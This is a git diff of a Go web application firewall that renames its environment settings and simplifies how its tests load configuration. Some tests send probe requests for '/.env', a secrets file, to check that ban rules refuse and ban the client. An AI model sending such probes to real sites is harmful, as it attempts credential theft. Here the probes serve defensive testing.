@@ -238,7 +238,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||
}
|
||||
|
||||
if cfg.WAFMode == config.WAFModeOff {
|
||||
|
||||
@@ -17,7 +17,6 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
@@ -56,35 +55,35 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
mode = "SWW_WAF_MODE"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_WAF_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_WAF_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
|
||||
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
|
||||
tagDeny = "SWW_WAF_TAG_DENY"
|
||||
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
|
||||
mode = "SWW_MODE"
|
||||
trustedProxies = "SWRP_TRUSTED_PROXIES"
|
||||
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
|
||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
|
||||
tagDeny = "SWW_TAG_DENY"
|
||||
// denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
|
||||
denyKP = "country=KP"
|
||||
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
banResponse = "SWW_WAF_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
|
||||
maxBans = "SWW_WAF_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
|
||||
instanceName = "SWW_WAF_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
|
||||
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
|
||||
rulesDir = "SWW_WAF_RULES_DIR"
|
||||
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
|
||||
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
banResponse = "SWW_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_MAX_BAN_DURATION"
|
||||
maxBans = "SWW_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||
instanceName = "SWW_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
|
||||
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
|
||||
rulesDir = "SWW_RULES_DIR"
|
||||
wafMode = "SWW_WAF_MODE"
|
||||
)
|
||||
|
||||
// off is the value that switches a setting off.
|
||||
@@ -297,8 +296,8 @@ func startProxyWithGeoJS(
|
||||
|
||||
// startProxyWithClock is startProxyWithGeoJS with requests counted and
|
||||
// bans made by the time now tells, and returns discriminator's server as well, whose
|
||||
// Addr is where discriminator listens. Unless env sets SWW_WAF_RULES_DIR, it is an
|
||||
// empty directory, of no rules, and unless it sets SWW_WAF_INSTANCE_NAME, that is app,
|
||||
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
|
||||
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
|
||||
// the label instance of every metric.
|
||||
func startProxyWithClock(
|
||||
t *testing.T, appURL, geojsURL string, now func() time.Time,
|
||||
@@ -348,21 +347,25 @@ func serve(t *testing.T, server *discriminator.Server) {
|
||||
|
||||
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
|
||||
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
|
||||
// where it listens. What it writes is dropped. SWW_RPROXY_TIMEOUT_MS is a minute unless
|
||||
// env sets it, so that on a busy host SWW_RPROXY_DEFAULT_DISPOSITION does not decide.
|
||||
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
|
||||
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
|
||||
func startRProxy(
|
||||
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
|
||||
) string {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
"SWW_RPROXY_WAF_BACKEND": "http://" + discriminatorAddr,
|
||||
"SWW_RPROXY_UPSTREAM_URL": appURL,
|
||||
"SWW_RPROXY_TIMEOUT_MS": "60000",
|
||||
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
|
||||
"SWRP_UPSTREAM_URL": appURL,
|
||||
"SWRP_TIMEOUT_MS": "60000",
|
||||
}
|
||||
maps.Copy(settings, env)
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(configtest.Viper(settings))
|
||||
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := settings[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", settings, err)
|
||||
}
|
||||
@@ -394,11 +397,11 @@ func startRProxy(
|
||||
// settings in env make it. No alert is sent from the queue: they wait in it,
|
||||
// for the test to look at.
|
||||
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
|
||||
// SWW_WAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
|
||||
// database SWW_WAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
|
||||
// at abuseIPDBURL while env sets SWW_WAF_ABUSEIPDB_KEY.
|
||||
// SWW_WAF_CORE_RULE_SET_MODE is off unless env sets it, so that only the tests of the
|
||||
// Core Rule Set have their requests inspected by it.
|
||||
// SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
|
||||
// database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
|
||||
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
|
||||
// env sets it, so that only the tests of the Core Rule Set have their requests
|
||||
// inspected by it.
|
||||
func newDiscriminator(
|
||||
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
|
||||
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||
@@ -423,7 +426,11 @@ func newDiscriminatorWith(
|
||||
|
||||
maps.Copy(settings, env)
|
||||
|
||||
cfg, err := config.FromEnvironment(configtest.Viper(settings))
|
||||
cfg, err := config.FromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := settings[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", settings, err)
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic rate_limits. It reads SWW_WAF_RATE_LIMIT_EXEMPT_NETS,
|
||||
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS and SWW_WAF_BAN_RESPONSE, and the rate limits and
|
||||
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
||||
// biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
@@ -59,8 +59,8 @@ func (rq *request) overAWholeRateLimit(now time.Time) bool {
|
||||
}
|
||||
|
||||
// countedByRateLimits reports whether the rate limits count the request: its
|
||||
// client is not in SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
|
||||
// under SWW_WAF_RATE_LIMIT_EXEMPT_PATHS.
|
||||
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
|
||||
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
|
||||
func (rq *request) countedByRateLimits() bool {
|
||||
cfg := rq.h.config
|
||||
|
||||
|
||||
@@ -10,7 +10,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// minute is the window of SWW_WAF_RATE_LIMIT_PER_MINUTE, as a log line's
|
||||
// minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
|
||||
// limit_hit names it.
|
||||
const minute = "minute"
|
||||
|
||||
@@ -86,7 +86,7 @@ func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
|
||||
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With SWW_WAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
|
||||
// With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
|
||||
// /64s of one /48, are one client, and the second's request breaks the
|
||||
// limit; the third, in the next /48, is another client.
|
||||
const (
|
||||
@@ -129,7 +129,7 @@ func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
|
||||
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
geojsURL, _ := startGeoJS(t)
|
||||
s, _, server := startWithClock(t, geojsURL, map[string]string{
|
||||
@@ -163,7 +163,7 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
|
||||
s.request(client, "/assets", http.StatusForbidden,
|
||||
requestlog.ActionClientIsRateLimited)
|
||||
|
||||
// A ban, SWW_WAF_DENY_NETS and SWW_WAF_TAG_DENY still refuse a path under a
|
||||
// A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
|
||||
// prefix.
|
||||
s.request(client, "/assets/app.js", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic refusal_limit. It reads SWW_WAF_ERROR_BURST_THRESHOLD and
|
||||
// SWW_WAF_BAN_RESPONSE.
|
||||
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
||||
// SWW_BAN_RESPONSE.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -14,8 +14,8 @@ import (
|
||||
// refusalLimit counts the request once it has been answered, if discriminator
|
||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_WAF_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_WAF_ALLOW_NETS, which the
|
||||
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
@@ -15,7 +15,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
const errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
|
||||
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||
|
||||
// refused is a request the tests here send, which discriminator refuses after a rule
|
||||
// file match.
|
||||
@@ -49,7 +49,7 @@ func (r refused) send(s *sender, from string) logLine {
|
||||
}
|
||||
|
||||
// startForErrorBurst is startWithClock with testRules, the metrics token and
|
||||
// SWW_WAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||
func startForErrorBurst(
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
) (*sender, *clock, *discriminator.Server) {
|
||||
@@ -290,15 +290,15 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
|
||||
exempt = "192.0.2.50" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
|
||||
allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
|
||||
)
|
||||
|
||||
s, _, _ := startForErrorBurst(t, "1", map[string]string{
|
||||
allowNets: allowed, rateLimitExemptNets: exempt,
|
||||
})
|
||||
|
||||
// A client in SWW_WAF_ALLOW_NETS is not refused, and so not counted.
|
||||
// A client in SWW_ALLOW_NETS is not refused, and so not counted.
|
||||
for range 3 {
|
||||
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
@@ -8,7 +8,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
// deny is the SWW_WAF_BLOCKLIST_ACTION and the SWW_WAF_REPUTATION_ACTION that
|
||||
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
|
||||
// refuses the requests of a client a source lists.
|
||||
const deny = "deny"
|
||||
|
||||
|
||||
@@ -23,12 +23,12 @@ import (
|
||||
|
||||
// The reputation settings.
|
||||
const (
|
||||
blocklistURLs = "SWW_WAF_BLOCKLIST_URLS"
|
||||
blocklistAction = "SWW_WAF_BLOCKLIST_ACTION"
|
||||
asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL"
|
||||
blocklistURLs = "SWW_BLOCKLIST_URLS"
|
||||
blocklistAction = "SWW_BLOCKLIST_ACTION"
|
||||
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
|
||||
)
|
||||
|
||||
// The actions of SWW_WAF_BLOCKLIST_ACTION and SWW_WAF_REPUTATION_ACTION:
|
||||
// The actions of SWW_BLOCKLIST_ACTION and SWW_REPUTATION_ACTION:
|
||||
// limitHalf gives a listed client half of every limit, and limitQuarter a
|
||||
// quarter.
|
||||
const (
|
||||
@@ -178,7 +178,7 @@ func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
|
||||
loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}})
|
||||
|
||||
// fromKP's country refuses it before the list is looked at, and fromDE,
|
||||
// in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted, nor
|
||||
// in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
|
||||
// alerted.
|
||||
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
|
||||
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
||||
@@ -277,7 +277,7 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T)
|
||||
},
|
||||
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
|
||||
{
|
||||
"SWW_WAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
|
||||
"SWW_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
|
||||
map[string]string{asnBytesPercent: asnDE + ":100"}, asnDEQuarter, fromURL, none,
|
||||
},
|
||||
} {
|
||||
@@ -367,9 +367,9 @@ func TestEachBlocklistThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
||||
|
||||
// The DNSBL settings.
|
||||
const (
|
||||
dnsblZones = "SWW_WAF_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_WAF_DNSBL_RESOLVER"
|
||||
reputationAction = "SWW_WAF_REPUTATION_ACTION"
|
||||
dnsblZones = "SWW_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_DNSBL_RESOLVER"
|
||||
reputationAction = "SWW_REPUTATION_ACTION"
|
||||
)
|
||||
|
||||
// The DNSBL zones these tests name, which are never asked about the
|
||||
@@ -425,7 +425,7 @@ func TestEachReputationActionForAClientADNSBLZoneLists(t *testing.T) {
|
||||
for _, from := range []string{fromDE, fromKP} {
|
||||
for i := range 3 {
|
||||
line := s.get(from, tc.statuses[i], tc.actions[i])
|
||||
// In the order SWW_WAF_DNSBL_ZONES names them.
|
||||
// In the order SWW_DNSBL_ZONES names them.
|
||||
wantReputation(t, line, listedBy[from]...)
|
||||
wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
|
||||
line.RateLimitPercentSetting, tc.percent)
|
||||
@@ -472,7 +472,7 @@ func TestDNSBLZonesComeAfterTheBlocklistsAndSkipAllowNets(t *testing.T) {
|
||||
loadVerdicts(server, map[string][]string{fromKP: {dnsblZone}, fromDE: {dnsblZone}})
|
||||
|
||||
// The blocklist refuses fromKP before its verdict is looked at, and
|
||||
// fromDE, in SWW_WAF_ALLOW_NETS, is not checked at all: neither is noted
|
||||
// fromDE, in SWW_ALLOW_NETS, is not checked at all: neither is noted
|
||||
// for the zone, nor alerted, nor asked about.
|
||||
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
dropURL)
|
||||
@@ -707,7 +707,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
|
||||
|
||||
// The AbuseIPDB settings, and accountKey, the key the tests set.
|
||||
const (
|
||||
abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY"
|
||||
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
|
||||
accountKey = "abuseipdb-key-0123456789abcdef"
|
||||
)
|
||||
|
||||
@@ -898,7 +898,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *test
|
||||
rateLimitPerMinute: fourAMinute, abuseIPDBKey: accountKey,
|
||||
reputationAction: tc.action,
|
||||
})
|
||||
// At SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
||||
// At SWW_ABUSEIPDB_MIN_SCORE, 75 by default, and just under it.
|
||||
loadScores(server, map[string]int64{fromDE: 75, fromKP: 74})
|
||||
|
||||
for i := range 3 {
|
||||
@@ -951,7 +951,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
||||
// The alert is made as a DNSBL zone's is, with the score besides.
|
||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||
if len(waiting) != 1 || waiting[0].Event != alerts.EventReputationHit ||
|
||||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE" ||
|
||||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
|
||||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
|
||||
queue.Suppressed() != 1 {
|
||||
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
|
||||
@@ -1022,7 +1022,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
||||
abuseIPDBKey: accountKey, reputationAction: actionLog,
|
||||
})
|
||||
// Every source lists client, and none otherClient, whose score is
|
||||
// under SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||
// under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||
loadLists(t, server, map[string][]string{dropURL: {client}})
|
||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
|
||||
loadScores(server, map[string]int64{client: score, otherClient: 74})
|
||||
@@ -1071,7 +1071,7 @@ func verdictsFetched() time.Time {
|
||||
}
|
||||
|
||||
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
||||
// a verdict of each zone SWW_WAF_DNSBL_ZONES names, fetched at
|
||||
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
|
||||
// verdictsFetched, as reputation.json would at start: one that lists the
|
||||
// client from each zone listedBy gives for it, and one that does not from
|
||||
// each other zone.
|
||||
|
||||
@@ -44,7 +44,7 @@ type decision struct {
|
||||
lookedUp bool
|
||||
lookupAnswer lookup.Answer
|
||||
// skippedLookupWait is true for a request that did not wait for GeoJS and
|
||||
// found no answer kept. SWW_WAF_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
||||
// found no answer kept. SWW_UNKNOWN_LIMIT_PERCENT does not apply to it,
|
||||
// so that not waiting never lowers its client's limits.
|
||||
skippedLookupWait bool
|
||||
// counted is true for a request the rate limits counted, whose bytes
|
||||
@@ -170,7 +170,7 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
|
||||
|
||||
// check is the one place where a request can be refused. It returns nil to let
|
||||
// the request through. The heuristics of checkClient decide: a request they
|
||||
// refuse is answered with SWW_WAF_BAN_RESPONSE, 403 for a block rule or the Core
|
||||
// refuse is answered with SWW_BAN_RESPONSE, 403 for a block rule or the Core
|
||||
// Rule Set, or 431 for the header limits. In observe mode nothing is refused,
|
||||
// and the log line names what enforce mode would have done. ctx is the
|
||||
// request's own context.
|
||||
@@ -200,7 +200,7 @@ func (rq *request) check(ctx context.Context) *refusal {
|
||||
// checkClient runs the heuristics of beforeLookup on the request, then looks
|
||||
// up the client's AS number and country, then runs those of afterLookup. It
|
||||
// returns the first verdict, or nil when none gives one. A client in
|
||||
// SWW_WAF_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
|
||||
// SWW_ALLOW_NETS skips them all, and is not looked up. ctx is the request's
|
||||
// own context.
|
||||
func (rq *request) checkClient(ctx context.Context) *verdict {
|
||||
if isInside(rq.client, rq.h.config.AllowNets) {
|
||||
@@ -224,7 +224,7 @@ func (rq *request) checkClient(ctx context.Context) *verdict {
|
||||
}
|
||||
|
||||
// pathExempt reports whether r is exempt under prefixes,
|
||||
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS: whether its
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
|
||||
// path as sent, the path the app receives, not percent-decoded, starts
|
||||
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
|
||||
// app whose router matches the path as received. A request whose decoded
|
||||
@@ -326,9 +326,9 @@ func (rq *request) addToHistory() {
|
||||
|
||||
// countAnomalies counts the request, which has ended, and its bytes, as
|
||||
// countedBytes gives them, for the anomaly thresholds, whatever was done
|
||||
// with it: a request refused, one from a client in SWW_WAF_ALLOW_NETS or
|
||||
// SWW_WAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in
|
||||
// SWW_WAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
|
||||
// with it: a request refused, one from a client in SWW_ALLOW_NETS or
|
||||
// SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
|
||||
// client's AS number when answerAtTheEnd gives one. With every anomaly
|
||||
// threshold off, the default, it does nothing.
|
||||
func (rq *request) countAnomalies() {
|
||||
|
||||
@@ -19,7 +19,7 @@ import (
|
||||
const (
|
||||
// requestIDHeader carries the request's id.
|
||||
requestIDHeader = "X-Request-ID"
|
||||
// instance is the SWW_WAF_INSTANCE_NAME a test sets.
|
||||
// instance is the SWW_INSTANCE_NAME a test sets.
|
||||
instance = "fsn1app1/blog"
|
||||
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
|
||||
// limits count it as.
|
||||
@@ -196,7 +196,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
|
||||
func TestTimingsAreInOrder(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
|
||||
const denied = "192.0.2.50" // in SWW_DENY_NETS
|
||||
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
// The pause sets the times apart; a hold-up of the test only lengthens
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic routewatch_tags. It reads SWW_WAF_ROUTEWATCH_URL.
|
||||
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -13,10 +13,9 @@ import (
|
||||
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
|
||||
// from what routewatch answered about the client. It refuses nothing, and the
|
||||
// request does not wait for routewatch. A request that gets no tags from it has
|
||||
// the reason in the log line's routewatch_tags_missing. While
|
||||
// SWW_WAF_ROUTEWATCH_URL is unset it does nothing. Answers are kept by client and
|
||||
// asked for by the request's address, and a route without an origin AS gives only
|
||||
// the prefix= tag.
|
||||
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
|
||||
// is unset it does nothing. Answers are kept by client and asked for by the
|
||||
// request's address, and a route without an origin AS gives only the prefix= tag.
|
||||
type routeWatchTags struct{}
|
||||
|
||||
func (routeWatchTags) name() string { return "routewatch_tags" }
|
||||
|
||||
@@ -14,10 +14,10 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// routeWatchURL is SWW_WAF_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||
// that says why a request got no tags from routewatch.
|
||||
const (
|
||||
routeWatchURL = "SWW_WAF_ROUTEWATCH_URL"
|
||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
||||
tagsMissing = "routewatch_tags_missing"
|
||||
fromV6 = "2001:db8:1::5"
|
||||
prefixV6 = "2001:db8::/32"
|
||||
@@ -137,7 +137,7 @@ func TestUnsetRouteWatchChangesNothing(t *testing.T) {
|
||||
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
|
||||
|
||||
if server.RouteWatch != nil {
|
||||
t.Error("RouteWatch is set while SWW_WAF_ROUTEWATCH_URL is unset")
|
||||
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
|
||||
}
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||
// SWW_WAF_RULES_DIR and SWW_WAF_RULES_ENABLED name.
|
||||
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
@@ -34,14 +34,14 @@ func TestEachRuleAction(t *testing.T) {
|
||||
line := s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantRuleIDs(t, line, "noted")
|
||||
|
||||
// A block rule refuses with 403, whatever SWW_WAF_BAN_RESPONSE is, and
|
||||
// A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
|
||||
// bans no one.
|
||||
line = s.request(client, "/blocked", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
wantRuleIDs(t, line, "noted", "blocked")
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// A ban rule refuses with SWW_WAF_BAN_RESPONSE, and bans the client for
|
||||
// A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
|
||||
// seven days, the default.
|
||||
line = s.request(client, "/.env", http.StatusTooManyRequests,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
@@ -132,7 +132,7 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
|
||||
attackBanDuration: "1h",
|
||||
})
|
||||
|
||||
// The first probe bans for SWW_WAF_ATTACK_BAN_DURATION.
|
||||
// The first probe bans for SWW_ATTACK_BAN_DURATION.
|
||||
line := s.request(client, "/.env", http.StatusForbidden,
